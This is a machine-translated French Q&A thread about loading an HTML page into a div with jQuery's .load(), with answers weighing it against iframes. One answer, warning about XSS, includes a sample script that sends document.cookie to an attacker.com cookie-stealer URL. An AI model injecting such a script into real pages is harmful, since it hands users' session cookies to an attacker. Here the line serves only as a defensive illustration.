2012-06-30 7 views
0

J'ai essayé de trouver un moyen de le faire car je suis sûr qu'il y a des centaines de sites Web qui l'expliquent, mais je ne peux pas le mot juste pour que toutes mes recherches trouvent quelque chose autre.Afficher le fichier html dans un div

Donc, je suis désolé si cela a été demandé plusieurs fois auparavant. Quoi qu'il en soit, ce que j'essaie de faire est de charger une page 'page.html' à l'intérieur d'un div. La page a juste du texte et rien d'autre. Donc, au lieu d'utiliser un iframe, je veux charger cette page à l'intérieur de la div afin qu'elle ne montre que le texte qui se trouve sur cette page.

J'ai essayé quelques choses différentes que j'ai trouvées pendant ma recherche comme; Mais pour une raison quelconque, cette méthode a changé tout mon texte sur la page au lieu d'être à l'intérieur de cette div. (Je suis assez horrible au codage, donc j'ai probablement mal tourné quelque part avec cette méthode)

Donc, quelqu'un peut suggérer un moyen de charger le contenu d'une page à l'intérieur d'un div n'utilisant pas un iframe.

+0

Would cadres normaux soient acceptables? Juste dans un div plaine pose une menace de sécurité (super facile XSS (cross site scripting)). – C0deH4cker

Répondre

4

$('div') va cibler plus que ce que vous recherchez. Si vous essayez de charger le contenu dans un élément spécifique div, donnez-lui un identifiant et ciblez-le de cette façon.

<div id="pageContent"></div>

$(document).ready(function() { 
    $('#pageContent').load('page.html'); 
} 
+0

Je voudrais juste ajouter cette page.html devrait avoir html simple sans doctype et head, title, etc. Si vous ne pouvez pas contrôler cela, vous pouvez essayer de $ .get le html dans une variable, puis utiliser $ (thatVariable) .find ('body') pour ajouter contenu à votre div. – Milimetric

+0

@Milimetric, jQuery le fait lui-même. – 23W

2

Réponse courte: Vous ne pouvez pas. Réponse longue: Vous pouvez, mais il sera difficile, sujettes à des erreurs, et un gros risque de sécurité.

Disons que c'est la page dans laquelle vous voulez un autre embarqué:

<!DOCTYPE html public> 
<html> 
<head> 
    <title>My Page</title> 
</head> 
<body> 
    <div id="embedMe"></div> 
</body> 
</html> 

Alors, voici le code de la page à incorporer dans la première:

<!DOCTYPE html public> 
<html> 
<head> 
    <title>My Embedded Page</title> 
</head> 
<body> 
    <div id="content"> 
    Something interesting here... 
    </div> 
</body> 
</html> 

Ensuite, quand il est intégré:

<!DOCTYPE html public> 
<html> 
<head> 
    <title>My Page</title> 
</head> 
<body> 
    <div id="embedMe"> 
    <!DOCTYPE html public> 
    <html> 
    <head> 
    <title>My Embedded Page</title> 
    </head> 
    <body> 
    <div id="content"> 
     Something interesting here... 
    </div> 
    </body> 
    </html> 
    </div> 
</body> 
</html> 

Vous pouvez voir le problème. Vous avez deux html éléments, deux head s, deux body s, deux title s, et même deux DOCTYPES. C'est un exemple bienveillant. Dire qu'un attaquant peut modifier l'URL de la page pour être intégré à un contenant ceci:

<script type="text/javascript"> 
window.location.href = "http://www.attacker.com/cookiestealer.php?cookies=" + document.cookie; 
</script> 

Tout d'un coup, vos utilisateurs se plaignent d'avoir leurs comptes piraté, et la responsabilité est débarquée sur votre sholders . C'est un exemple simple de XSS, et les vrais attaquants pourraient mieux le cacher. S'il vous plaît, utilisez simplement un iframe. C'est pour ça qu'ils ont été faits.

+0

Les problèmes associés à ', , ,